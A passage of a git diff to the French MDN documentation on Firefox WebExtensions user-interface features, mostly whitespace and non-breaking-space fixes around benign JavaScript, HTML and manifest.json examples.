ou sans [popup](/fr/Add-ons/WebExtensions/Popups). Si vous ne spécifiez pas de popup, lorsque l'utilisateur clique sur le bouton, un événement est envoyé à l'extension, que celle-ci attend pour utiliser [`browserAction.onClicked`](/fr//Add-ons/WebExtensions/API/BrowserAction/onClicked) : +Il existe deux façons de spécifier une action du navigateur: avec ou sans [popup](/fr/Add-ons/WebExtensions/Popups). Si vous ne spécifiez pas de popup, lorsque l'utilisateur clique sur le bouton, un événement est envoyé à l'extension, que celle-ci attend pour utiliser [`browserAction.onClicked`](/fr//Add-ons/WebExtensions/API/BrowserAction/onClicked) : ```js browser.browserAction.onClicked.addListener(handleClick); ``` -Si vous spécifiez une fenêtre contextuelle, l'événement de clic n'est pas envoyé : A la place, le popup s'affiche lorsque l'utilisateur clique sur le bouton. L'utilisateur peut interagir avec le popup et il se ferme automatiquement lorsque l'utilisateur clique à l'extérieur. Consulter l'article [Popup ](/fr/Add-ons/WebExtensions/Popups)pour plus de détails sur la création et la gestion des fenêtres pop-up. +Si vous spécifiez une fenêtre contextuelle, l'événement de clic n'est pas envoyé : A la place, le popup s'affiche lorsque l'utilisateur clique sur le bouton. L'utilisateur peut interagir avec le popup et il se ferme automatiquement lorsque l'utilisateur clique à l'extérieur. Consulter l'article [Popup ](/fr/Add-ons/WebExtensions/Popups)pour plus de détails sur la création et la gestion des fenêtres pop-up. Notez que votre extension ne peut avoir qu'une seule action de navigateur. diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/browser_styles/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/browser_styles/index.md index cc0ed97da4..4e582e7e93 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/browser_styles/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/browser_styles/index.md @@ -5,7 +5,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles --- {{AddonSidebar}} -Certains composants de l'interface utilisateur - les [fenêtres contextuelles](/fr/Add-ons/WebExtensions/user_interface/Popups), [fenêtres latérales](/fr/Add-ons/WebExtensions/user_interface/Sidebars), et les [pages d'options](/fr/Add-ons/WebExtensions/user_interface/Options_pages) du navigateur et de la page - sont spécifiés par votre extension de la même manière : +Certains composants de l'interface utilisateur - les [fenêtres contextuelles](/fr/Add-ons/WebExtensions/user_interface/Popups), [fenêtres latérales](/fr/Add-ons/WebExtensions/user_interface/Sidebars), et les [pages d'options](/fr/Add-ons/WebExtensions/user_interface/Options_pages) du navigateur et de la page - sont spécifiés par votre extension de la même manière : 1. créer un fichier HTML définissant la structure de l'élément d'interface utilisateur 2. ajoutez une clé manifest.json ([`browser_action`](/fr/Add-ons/WebExtensions/manifest.json/browser_action), [`page_action`](/fr/Add-ons/WebExtensions/manifest.json/page_action), [`sidebar_action`](/fr/Add-ons/WebExtensions/manifest.json/sidebar_action), ou [`options_ui`](/fr/Add-ons/WebExtensions/manifest.json/options_ui)) pointant vers ce fichier HTML. @@ -20,9 +20,9 @@ Lorsque vous envisagez d'utiliser le `browser_style: true`, vous devez tester vo > **Note :** **Google Chrome** et **Opera** utilisent `chrome_style` au lieu de `browser_style`, donc si vous souhaitez les prendre en charge, vous devez ajouter les deux clés. -Dans Firefox, la feuille de style peut être vue sur `chrome://browser/content/extension.css`. La feuille de style peut être vue sur `chrome://browser/content/extension-mac.css` est également incluse sur OS X. +Dans Firefox, la feuille de style peut être vue sur `chrome://browser/content/extension.css`. La feuille de style peut être vue sur `chrome://browser/content/extension-mac.css` est également incluse sur OS X. -La plupart des styles sont automatiquement appliqués, mais certains éléments nécessitent que vous ajoutiez la classe `browser-style` non standard pour obtenir leur style, comme indiqué dans le tableau ci-dessous : +La plupart des styles sont automatiquement appliqués, mais certains éléments nécessitent que vous ajoutiez la classe `browser-style` non standard pour obtenir leur style, comme indiqué dans le tableau ci-dessous : <table class="standard-table"> <thead> diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.md index 8ae281a364..72ebfb8d07 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.md @@ -51,7 +51,7 @@ browser.contextMenus.onClicked.addListener(function(info, tab) { ## Icônes -Pour plus de détails sur la création d'icônes à utiliser avec votre menu contextuel, voir [Iconography](https://design.firefox.com/photon/visuals/iconography.html) dans la documentation du [Systeme de conception de Photon](https://design.firefox.com/photon/index.html). +Pour plus de détails sur la création d'icônes à utiliser avec votre menu contextuel, voir [Iconography](https://design.firefox.com/photon/visuals/iconography.html) dans la documentation du [Systeme de conception de Photon](https://design.firefox.com/photon/index.html). ## Exemples diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.md index 9c5c3c79ff..8ca11ce68d 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.md @@ -31,7 +31,7 @@ Dans la page des devtools, appelez un script qui ajoutera un panneau dans devtoo ```html <body> - <script src="devtools.js"></script> + <script src="devtools.js"></script> </body> ``` diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/extension_pages/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/extension_pages/index.md index cfbeafe618..ec352d8676 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/extension_pages/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/extension_pages/index.md @@ -17,7 +17,7 @@ Vous pouvez inclure des pages HTML dans votre extension sous la forme de formula Ces pages ont également accès aux mêmes API JavaScript privilégiées qui sont disponibles pour les scripts d’arrière‐plan de votre extension, mais elles sont dans leur propre onglet, leur propre file d’attente d’événements JavaScript, leurs propres globales etc. -Pensez à la page d'arrière-plan comme une « page cachée d’extension ». +Pensez à la page d'arrière-plan comme une « page cachée d’extension ». ## Spécification des pages d’extension @@ -30,9 +30,9 @@ Vous pouvez inclure des fichiers HTML - et les fichiers CSS ou JavaScript associ ## Affichage des pages d’extension -Il existe deux options pour afficher des pages d'extension : {{WebExtAPIRef("windows.create()")}} et {{WebExtAPIRef("tabs.create()")}}. +Il existe deux options pour afficher des pages d'extension : {{WebExtAPIRef("windows.create()")}} et {{WebExtAPIRef("tabs.create()")}}. -À l’aide de `windows.create()`, vous pouvez ouvrir une page HTML intégrée dans un panneau détaché (une fenêtre sans l’interface utilisateur de la barre d’la barre de signet et similaire) pour créer une expérience utilisateur semblable à une boîte de dialogue : +À l’aide de `windows.create()`, vous pouvez ouvrir une page HTML intégrée dans un panneau détaché (une fenêtre sans l’interface utilisateur de la barre d’la barre de signet et similaire) pour créer une expérience utilisateur semblable à une boîte de dialogue : ```js var createData = { @@ -46,7 +46,7 @@ var creating = browser.windows.create(createData); Lorsque la fenêtre n'est plus nécessaire, elle peut être fermée par programme. -Par exemple, après que l’utilisateur a cliqué sur un bouton, en passant l’ID de la fenêtre actuelle à {{WebExtAPIRef("windows.remove()")}} : +Par exemple, après que l’utilisateur a cliqué sur un bouton, en passant l’ID de la fenêtre actuelle à {{WebExtAPIRef("windows.remove()")}} : ```js document.getElementById("closeme").addEventListener("click", function(){ @@ -57,7 +57,7 @@ document.getElementById("closeme").addEventListener("click", function(){ ## Pages d’extension et historique -Par défaut, les pages que vous ouvrez de cette manière seront stockées dans l’historique de l’utilisateur, comme les pages Web normales. Si vous ne voulez pas avoir ce comportement, utilisez {{WebExtAPIRef("history.deleteUrl()")}} pour supprimer l'enregistrement du navigateur : +Par défaut, les pages que vous ouvrez de cette manière seront stockées dans l’historique de l’utilisateur, comme les pages Web normales. Si vous ne voulez pas avoir ce comportement, utilisez {{WebExtAPIRef("history.deleteUrl()")}} pour supprimer l'enregistrement du navigateur : ```js function onVisited(historyItem) { @@ -69,7 +69,7 @@ function onVisited(historyItem) { browser.history.onVisited.addListener(onVisited); ``` -Pour utiliser l’API historique, vous devez demander la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) « `history` » dans votre fichier [`manifest.json`](/fr/Add-ons/WebExtensions/manifest.json). +Pour utiliser l’API historique, vous devez demander la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) « `history` » dans votre fichier [`manifest.json`](/fr/Add-ons/WebExtensions/manifest.json). ## Conception des pages Web @@ -77,6 +77,6 @@ Pour plus de détails sur la façon de concevoir votre page Web pour correspondr ## Exemples -Le dépôt [webextensions-examples](https://github.com/mdn/webextensions-examples) sur GitHub contient plusieurs exemples de WebExtensions qui utilise une action de navigateur : +Le dépôt [webextensions-examples](https://github.com/mdn/webextensions-examples) sur GitHub contient plusieurs exemples de WebExtensions qui utilise une action de navigateur : - [window-manipulator](https://github.com/mdn/webextensions-examples/tree/master/window-manipulator) utilise les options pour créer une fenêtre diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/omnibox/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/omnibox/index.md index b665d29060..c1a0e6dbf6 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/omnibox/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/omnibox/index.md @@ -22,7 +22,7 @@ Vous dites à votre extension qu'il va personnaliser les suggestions de la barre "omnibox": { "keyword" : "cs" } ``` -Dans le fichier JavaScript d'arrière-plan extension, en utilisant {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, vous pouvez éventuellement définir la première suggestion à afficher dans la liste déroulante de la barre d'adresse. Utilisez ceci pour donner un indice sur l'utilisation de la fonction : +Dans le fichier JavaScript d'arrière-plan extension, en utilisant {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, vous pouvez éventuellement définir la première suggestion à afficher dans la liste déroulante de la barre d'adresse. Utilisez ceci pour donner un indice sur l'utilisation de la fonction : ```js browser.omnibox.setDefaultSuggestion({ @@ -31,7 +31,7 @@ browser.omnibox.setDefaultSuggestion({ }); ``` -Vous pouvez ensuite ajouter le code pour fournir le contenu personnalisé en écoutant {{WebExtAPIRef("omnibox.onInputStarted")}}, qui est envoyé lorsque l'utilisateur a tapé le mot-clé et un espace, et {{WebExtAPIRef("omnibox.onInputChanged")}}, qui est expédié chaque fois que l'utilisateur met à jour l'entrée de la barre d'adresse. Vous pouvez ensuite remplir les suggestions, dans ce cas, créer une recherche de https\://searchfox.org/mozilla-central utilisant le terme entré par l'utilisateur : +Vous pouvez ensuite ajouter le code pour fournir le contenu personnalisé en écoutant {{WebExtAPIRef("omnibox.onInputStarted")}}, qui est envoyé lorsque l'utilisateur a tapé le mot-clé et un espace, et {{WebExtAPIRef("omnibox.onInputChanged")}}, qui est expédié chaque fois que l'utilisateur met à jour l'entrée de la barre d'adresse. Vous pouvez ensuite remplir les suggestions, dans ce cas, créer une recherche de https\://searchfox.org/mozilla-central utilisant le terme entré par l'utilisateur : ```js browser.omnibox.onInputChanged.addListener((text, addSuggestions) => { @@ -46,7 +46,7 @@ browser.omnibox.onInputChanged.addListener((text, addSuggestions) => { }); ``` -Si la WebExtension définit une suggestion par défaut en utilisant {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, alors cela apparaîtra en premier dans la liste déroulante. +Si la WebExtension définit une suggestion par défaut en utilisant {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, alors cela apparaîtra en premier dans la liste déroulante. L'extension peut ensuite écouter l'utilisateur en cliquant sur l'une des suggestions, en utilisant {{WebExtAPIRef("omnibox.onInputEntered")}}. Si la suggestion par défaut est cliquée, le terme personnalisé de l'utilisateur est renvoyé, sinon la chaîne de la suggestion est renvoyée. En outre, les informations sur les préférences du navigateur de l'utilisateur pour la gestion des nouveaux liens sont transmises. Dans le code ci-dessous, le terme personnalisé de l'utilisateur est employé pour créer une recherche différente, l'URL suggérée est ouverte: diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/options_pages/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/options_pages/index.md index 6757835009..8f09f75e1e 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/options_pages/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/options_pages/index.md @@ -13,9 +13,9 @@ Une page Option vous permet de définir des préférences pour votre WebExtensio La façon dont les utilisateurs accèdent à la page et la manière dont elle est intégrée à l'interface utilisateur du navigateur varient d'un navigateur à l'autre. -Vous pouvez ouvrir la page en programmant en appelant [`runtime.openOptionsPage()`](/fr/Add-ons/WebExtensions/API/Runtime/openOptionsPage). +Vous pouvez ouvrir la page en programmant en appelant [`runtime.openOptionsPage()`](/fr/Add-ons/WebExtensions/API/Runtime/openOptionsPage). -Les pages d'options ont une politique de sécurité de contenu qui restreint les sources à partir de laquelle elles peuvent charger des ressources et interdit certaines pratiques dangereuses telles que l'utilisation [`eval()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/eval). Voir la [politique de sécurité de contenu](/fr/Add-ons/WebExtensions/Content_Security_Policy) pour plus de détails. +Les pages d'options ont une politique de sécurité de contenu qui restreint les sources à partir de laquelle elles peuvent charger des ressources et interdit certaines pratiques dangereuses telles que l'utilisation [`eval()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/eval). Voir la [politique de sécurité de contenu](/fr/Add-ons/WebExtensions/Content_Security_Policy) pour plus de détails. ## Spécification de la page d'options diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/page_actions/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/page_actions/index.md index ad6eb128f2..c53bddcab8 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/page_actions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/page_actions/index.md @@ -88,7 +88,7 @@ Vous pouvez modifier l'une des propriétés d'action de la page de manière prog ## Icônes -Pour plus de détails sur la création d'icônes à utiliser avec l'action de votre page, voir [Iconography](https://design.firefox.com/photon/visuals/iconography.html) dans la documentation du [Photon Design System](https://design.firefox.com/photon/index.html). +Pour plus de détails sur la création d'icônes à utiliser avec l'action de votre page, voir [Iconography](https://design.firefox.com/photon/visuals/iconography.html) dans la documentation du [Photon Design System](https://design.firefox.com/photon/index.html). ## Exemples diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/popups/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/popups/index.md index 2ea60a0628..3cab48ebf4 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/popups/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/popups/index.md @@ -32,7 +32,7 @@ Le fichier HTML est inclus dans la WebExtension et spécifié en partie à la cl Vous pouvez demander au navigateur d'inclure une feuille de style dans votre fenêtre contextuelle qui la rendra compatible avec l'interface utilisateur du navigateur. Pour ce faire, ajoutez `"browser_style": true` dans la clé [`browser_action`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action) ou [page_action](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action). -Les popups ont une politique de sécurité de contenu qui restreint les sources à partir de laquelle ils peuvent charger des ressources et interdire certaines pratiques dangereuses telles que l'utilisation [`eval()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/eval). Voir la [politique de sécurité du contenu](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy) pour plus de détails à ce sujet. +Les popups ont une politique de sécurité de contenu qui restreint les sources à partir de laquelle ils peuvent charger des ressources et interdire certaines pratiques dangereuses telles que l'utilisation [`eval()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/eval). Voir la [politique de sécurité du contenu](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy) pour plus de détails à ce sujet. ## Déboguer des fenêtres pop-up diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/sidebars/index.md b/files/fr/mozilla/add-ons/webextensions/user_interface/sidebars/index.md index 1f6b8d7fd2..e8627ab756 100644 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/sidebars/index.md +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/sidebars/index.md @@ -19,7 +19,7 @@ Le navigateur peut inclure un certain nombre de barrières intégrées. Par exem Comme un popup d'action du navigateur, le contenu de la barre latérale est spécifié comme un document HTML. Lorsque l'utilisateur ouvre la barre latérale, son document de la barre latérale est chargé dans chaque fenêtre ouverte du navigateur. Chaque fenêtre possède sa propre instance du document. Lorsque de nouvelles fenêtres sont ouvertes, elles obtiennent également leurs propres documents de barre latérale. -Un document pour un onglet particulier peut être défini en utilisant la fonction {{WebExtAPIRef("sidebarAction.setPanel()")}}. Une barre latérale peut comprendre quelle fenêtre elle appartient à l'utilisation de l'API {{WebExtAPIRef("windows.getCurrent()")}} : +Un document pour un onglet particulier peut être défini en utilisant la fonction {{WebExtAPIRef("sidebarAction.setPanel()")}}. Une barre latérale peut comprendre quelle fenêtre elle appartient à l'utilisation de l'API {{WebExtAPIRef("windows.getCurrent()")}} : ```js // sidebar.js @@ -30,7 +30,7 @@ browser.windows.getCurrent({populate: true}).then((windowInfo) => { Ceci est utile si une barre latérale veut afficher différents contenus pour différentes fenêtres. Par exemple, regardez l'[exemple "annotate-page"](https://github.com/mdn/webextensions-examples/tree/master/annotate-page). -Les documents de la barre latérale ont accès au même priviléges que les API JavaScript d'arrière-plan et les scripts contextuels. Ils peuvent accéder directement à la page de fond en utilisant {{WebExtAPIRef("runtime.getBackgroundPage()")}}, et peuvent interagir avec des scripts de contenu ou des applications natives à l'aide d'API de messagerie comme {{WebExtAPIRef("tabs.sendMessage()")}} et {{WebExtAPIRef("runtime.sendNativeMessage()")}}. +Les documents de la barre latérale ont accès au même priviléges que les API JavaScript d'arrière-plan et les scripts contextuels. Ils peuvent accéder directement à la page de fond en utilisant {{WebExtAPIRef("runtime.getBackgroundPage()")}}, et peuvent interagir avec des scripts de contenu ou des applications natives à l'aide d'API de messagerie comme {{WebExtAPIRef("tabs.sendMessage()")}} et {{WebExtAPIRef("runtime.sendNativeMessage()")}}. Les documents de la barre latérale sont déchargés lorsque leur fenêtre de navigateur est fermée ou lorsque l'utilisateur ferme la barre latérale. Cela signifie que, contrairement aux pages de fond, les documents de la barre latérale ne restent pas chargés tout le temps, mais contrairement aux popups d'action du navigateur, ils restent chargés pendant que l'utilisateur interagit avec les pages Web. @@ -38,7 +38,7 @@ Lorsqu'une extension est installée comme une barre latérale, sa barre latéral ## Spécification des barres latérales -Pour spécifier une barre latérale, définissez le document par défaut avec la clé du manifest.json [`sidebar_action`](/fr/Add-ons/WebExtensions/manifest.json/sidebar_action), à côté d'un titre et d'une icône par défaut : +Pour spécifier une barre latérale, définissez le document par défaut avec la clé du manifest.json [`sidebar_action`](/fr/Add-ons/WebExtensions/manifest.json/sidebar_action), à côté d'un titre et d'une icône par défaut : ```json "sidebar_action": { diff --git a/files/fr/mozilla/add-ons/webextensions/what_are_webextensions/index.md b/files/fr/mozilla/add-ons/webextensions/what_are_webextensions/index.md index f3af2dd113..730e529b46 100644 --- a/files/fr/mozilla/add-ons/webextensions/what_are_webextensions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/what_are_webextensions/index.md @@ -16,7 +16,7 @@ Une extension ajoute des fonctionnalités et des fonctions à un navigateur. Ell Exemples: [Amazon Assistant for Firefox](https://addons.mozilla.org/en-US/firefox/addon/amazon-browser-bar/), [OneNote Web Clipper](https://addons.mozilla.org/en-US/firefox/addon/onenote-clipper/), and [Grammarly for Firefox](https://addons.mozilla.org/en-US/firefox/addon/grammarly-1/) -**Laissez les utilisateurs montrer leur personnalité** : Les extensions navigateur peuvent manipuler le contenu des pages web, par exemple en permettant aux utilisateurs d'ajouter leur logo ou leur image préférée en arrière-plan à chaque page qu'ils visitent. Les extensions peuvent également permettre aux utilisateurs de mettre à jour l'apparence de l'interface utilisatrice Firefox, de la même manière que les [add-ons de thème](/fr/Add-ons/Themes/Theme_concepts). +**Laissez les utilisateurs montrer leur personnalité** : Les extensions navigateur peuvent manipuler le contenu des pages web, par exemple en permettant aux utilisateurs d'ajouter leur logo ou leur image préférée en arrière-plan à chaque page qu'ils visitent. Les extensions peuvent également permettre aux utilisateurs de mettre à jour l'apparence de l'interface utilisatrice Firefox, de la même manière que les [add-ons de thème](/fr/Add-ons/Themes/Theme_concepts).  @@ -48,9 +48,9 @@ Exemples: [Web Developer](https://addons.mozilla.org/en-US/firefox/addon/web-dev Les Extensions pour Firefox sont construites à l'aide d'[APIs WebExtensions](/fr/Add-ons/WebExtensions), un système multi-navigateur pour développer des extensions. De manière générale, L'API est compatible avec l' [API d'extension](https://developer.chrome.com/extensions) de Google Chrome et Opera. Les extensions écrites pour ces navigateurs fonctionneraient dans la plupart des cas dans Firefox ou Microsoft Edge avec seulement quelques [changements](/fr/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension). L'API est également entièrement compatible avec [Firefox multi-processus](/fr/Firefox/Multiprocess_Firefox). -Si vous avez des idées ou des questions, ou si vous avez besoin d'aide pour [migrer un module complémentaire hérité vers les API WebExtensions](https://extensionworkshop.com/documentation/develop/porting-a-legacy-firefox-extension/), vous pouvez nous contacter via la [la mailing-liste dev-addons](https://mail.mozilla.org/listinfo/dev-addons) ou dans le [room des add-ons ](https://chat.mozilla.org/#/room/#addons:mozilla.org)sur [Matrix](https://wiki.mozilla.org/Matrix). +Si vous avez des idées ou des questions, ou si vous avez besoin d'aide pour [migrer un module complémentaire hérité vers les API WebExtensions](https://extensionworkshop.com/documentation/develop/porting-a-legacy-firefox-extension/), vous pouvez nous contacter via la [la mailing-liste dev-addons](https://mail.mozilla.org/listinfo/dev-addons) ou dans le [room des add-ons ](https://chat.mozilla.org/#/room/#addons:mozilla.org)sur [Matrix](https://wiki.mozilla.org/Matrix). -## Pour aller plus loin? +## Pour aller plus loin? - Parcourez le développement d'une extension simple dans [votre première extension](/fr/Add-ons/WebExtensions/Your_first_WebExtension). - En savoir plus sur la structure d'une extensions en consultant [Architecture d'une extension](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension). diff --git a/files/fr/mozilla/add-ons/webextensions/what_next_/index.md b/files/fr/mozilla/add-ons/webextensions/what_next_/index.md index 129f773a61..ae54e680fa 100644 --- a/files/fr/mozilla/add-ons/webextensions/what_next_/index.md +++ b/files/fr/mozilla/add-ons/webextensions/what_next_/index.md @@ -10,7 +10,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/que_faire_ensuite --- {{AddonSidebar}} -Vous serez maintenant prêt à commencer à transformer votre idée pour une extension de navigateur dans la réalité. Avant de commencer ce périple, ça vaut la peine d'être au courant de quelques choses qui vous aides à en faire une. +Vous serez maintenant prêt à commencer à transformer votre idée pour une extension de navigateur dans la réalité. Avant de commencer ce périple, ça vaut la peine d'être au courant de quelques choses qui vous aides à en faire une. Vous pouvez trouver plus d'informations sur de nombreux sujets abordés sur cette page sur [l'atelier d'extension](https://extensionworkshop.com), un site web dédié à vous aider à écrire, tester, publier et distribuer des extensions pour Firefox. @@ -18,7 +18,7 @@ Vous pouvez trouver plus d'informations sur de nombreux sujets abordés sur cett Vous n'avez pas besoin d'outils spéciaux de développement ou de création d'environnement pour créer des extensions de navigateur : il est tout à fait possible de créer de superbes extensions de navigateur avec un simple éditeur de texte. Cependant, vous avez peut-être développé pour le Web et avez un ensemble d'outils et un environnement que vous souhaitez réutiliser. Si vous le faites, vous devez être conscient de certaines choses. -Si vous utilisez des outils de minimisation ou d'obscurcissement pour fournir votre code final, vous devez fournir votre code source au [processus de révision AMO](#The_review_process). De plus, les outils que vous utilisez — minification, obscurcissement et construction — doivent être open source (ou offrir une utilisation gratuite illimitée) et être disponible pour fonctionner sur l'ordinateur de l'utilisateur (Windows, Mac, ou Linux). Malheureusement, nos réviseurs ne peuvent pas travailler avec des outils commerciaux ou basés sur le Web. +Si vous utilisez des outils de minimisation ou d'obscurcissement pour fournir votre code final, vous devez fournir votre code source au [processus de révision AMO](#The_review_process). De plus, les outils que vous utilisez — minification, obscurcissement et construction — doivent être open source (ou offrir une utilisation gratuite illimitée) et être disponible pour fonctionner sur l'ordinateur de l'utilisateur (Windows, Mac, ou Linux). Malheureusement, nos réviseurs ne peuvent pas travailler avec des outils commerciaux ou basés sur le Web. [En savoir plus sur les outils de développement sur l'atelier d'extensions](https://extensionworkshop.com/documentation/develop/browser-extension-development-tools/) @@ -28,7 +28,7 @@ Les bibliothèques tierces sont un excellent moyen d'ajouter rapidement des fonc [En savoir plus sur la soumission du code source sur l'atelier d'extensions](https://extensionworkshop.com/documentation/publish/source-code-submission/) -## L'accord de distribution des modules complémentaires de Firefox +## L'accord de distribution des modules complémentaires de Firefox Les extensions de navigateur doivent être signées pour être installées dans les réalisations ou versions bêta de Firefox. La signature a lieu dans addons.mozilla.org (AMO) et est soumise aux termes et conditions du contrat de distribution de Firefox Add-on. L'objectif de l'accord est de garantir que les utilisateurs de Firefox aient accès à des modules complémentaires de qualité et bien supportés qui améliorent l'expérience de Firefox. @@ -46,7 +46,7 @@ Lorsqu'une extension de navigateur est soumise à la signature, elle fait l'obje Si vous choisissez de lister l'extension de votre navigateur sur AMO, votre extension pourrait figurer sur le site Web d'AMO, dans le gestionnaire de modules complémentaires du navigateur Firefox ou ailleurs sur un site Web de Mozilla. Nous avons compilé une liste de directives sur la manière dont les extensions sont sélectionnées pour être mises en avant. En suivant ces directives, vous donnez à votre extension les meilleures chances d'être sélectionnée. -[En savoir plus sur la façon de faire figurer vos modules complémentaires dans l'atelier d'extension](https://extensionworkshop.com/documentation/publish/recommended-extensions/) +[En savoir plus sur la façon de faire figurer vos modules complémentaires dans l'atelier d'extension](https://extensionworkshop.com/documentation/publish/recommended-extensions/) ## Continuez votre expérience d'apprentissage diff --git a/files/fr/mozilla/add-ons/webextensions/work_with_contextual_identities/index.md b/files/fr/mozilla/add-ons/webextensions/work_with_contextual_identities/index.md index 345c36a751..17b05a983d 100644 --- a/files/fr/mozilla/add-ons/webextensions/work_with_contextual_identities/index.md +++ b/files/fr/mozilla/add-ons/webextensions/work_with_contextual_identities/index.md @@ -33,7 +33,7 @@ Pour utiliser les fonctionnalités d'identité contextuelle dans les extensions, ## Permissions -Pour utiliser l'API {{WebExtAPIRef("contextualIdentities")}} vous devez inclure la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "contextualIdentities" dans votre fichier [manifest.json](/fr/Add-ons/WebExtensions/manifest.json). Vous n'avez pas besoin de la permission "tabs" pour utiliser {{WebExtAPIRef("tabs.create")}} ; vous avez besoin de la permission "cookies" pour spécifier le conteneur de cookies que vous souhaitez utiliser. +Pour utiliser l'API {{WebExtAPIRef("contextualIdentities")}} vous devez inclure la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "contextualIdentities" dans votre fichier [manifest.json](/fr/Add-ons/WebExtensions/manifest.json). Vous n'avez pas besoin de la permission "tabs" pour utiliser {{WebExtAPIRef("tabs.create")}} ; vous avez besoin de la permission "cookies" pour spécifier le conteneur de cookies que vous souhaitez utiliser. ## Exemple de procédure pas à pas @@ -50,22 +50,22 @@ Les principales caractéristiques du fichier [manifest.json](https://github.com/ - La demande de permissions : ```json - "permissions": [ - "contextualIdentities", - "cookies" - ], + "permissions": [ + "contextualIdentities", + "cookies" + ], ``` - spécification du bouton de la barre d'outils (browseAction) donnant accès aux fonctionnalités de l'extension : ```json - "browser_action": { - "browser_style": true, - "default_title": "Contextual Identities", - "default_popup": "context.html", - "default_icon": { - "128": "identity.svg" - } + "browser_action": { + "browser_style": true, + "default_title": "Contextual Identities", + "default_popup": "context.html", + "default_icon": { + "128": "identity.svg" + } ``` ## context.html @@ -73,12 +73,12 @@ Les principales caractéristiques du fichier [manifest.json](https://github.com/ Une fenêtre contextuelle sur le bouton de la barre d'outils fournit l'interface utilisateur de l'extension. [context.html](https://github.com/mdn/webextensions-examples/blob/master/contextual-identities/context.html) implémente ce popup, mais c'est juste un shell dans lequel le script context.js écrit la liste des identités contextuelles et leurs options associées. ```html - <body> - <div class="panel"> - <div id="identity-list"></div> - </div> - <script src="context.js"></script> - </body> + <body> + <div class="panel"> + <div id="identity-list"></div> + </div> + <script src="context.js"></script> + </body> ``` ## context.js @@ -95,7 +95,7 @@ Il vérifie ensuite si la fonction d'identités contextuelles est activée dans ```json if (browser.contextualIdentities === undefined) { - div.innerText = 'browser.contextualIdentities not available. Check that the privacy.userContext.enabled pref is set to true, and reload the add-on.'; + div.innerText = 'browser.contextualIdentities not available. Check that the privacy.userContext.enabled pref is set to true, and reload the add-on.'; } else { ``` @@ -104,41 +104,41 @@ Firefox s'installe avec la fonctionnalité d'identité contextuelle désactivée Le script utilise maintenant contextualIdentities.query pour déterminer s'il existe des identités contextuelles définies dans le navigateur. S'il n'y en a pas, un message est ajouté au popup et le script s'arrête. ```json - browser.contextualIdentities.query({}) - .then((identities) => { - if (!identities.length) { - div.innerText = 'No identities returned from the API.'; - return; - } + browser.contextualIdentities.query({}) + .then((identities) => { + if (!identities.length) { + div.innerText = 'No identities returned from the API.'; + return; + } ``` -Si des identités contextuelles sont présentes — Firefox a quatre identités par défaut — le script parcourt chacune d'elles en ajoutant son nom, stylisé dans la couleur choisie, à l'élément \<div>. La fonction `createOptions()` ajoute ensuite les options à “create” ou “close all” à la \<div> avant qu'elle ne soit ajoutée au popup. +Si des identités contextuelles sont présentes — Firefox a quatre identités par défaut — le script parcourt chacune d'elles en ajoutant son nom, stylisé dans la couleur choisie, à l'élément \<div>. La fonction `createOptions()` ajoute ensuite les options à “create” ou “close all” à la \<div> avant qu'elle ne soit ajoutée au popup. ```json - for (let identity of identities) { - let row = document.createElement('div'); - let span = document.createElement('span'); - span.className = 'identity'; - span.innerText = identity.name; - span.style = `color: ${identity.color}`; - console.log(identity); - row.appendChild(span); - 